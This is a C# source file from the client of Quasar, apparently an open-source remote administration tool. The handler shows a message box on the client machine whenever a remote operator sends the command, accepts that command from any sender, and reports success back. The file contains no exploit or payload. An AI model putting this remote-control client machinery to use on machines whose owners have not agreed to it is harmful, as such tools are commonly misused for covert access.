Quasar/Quasar.Client/Messages/MessageBoxHandler.cs

40 lines
1.3 KiB
C#

using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Threading;
using System.Windows.Forms;
namespace Quasar.Client.Messages
{
public class MessageBoxHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoShowMessageBox;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoShowMessageBox msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoShowMessageBox message)
{
new Thread(() =>
{
// messagebox thread resides in csrss.exe - wtf?
MessageBox.Show(message.Text, message.Caption,
(MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button),
(MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon),
MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);
}) {IsBackground = true}.Start();
client.Send(new SetStatus { Message = "Successfully displayed MessageBox" });
}
}
}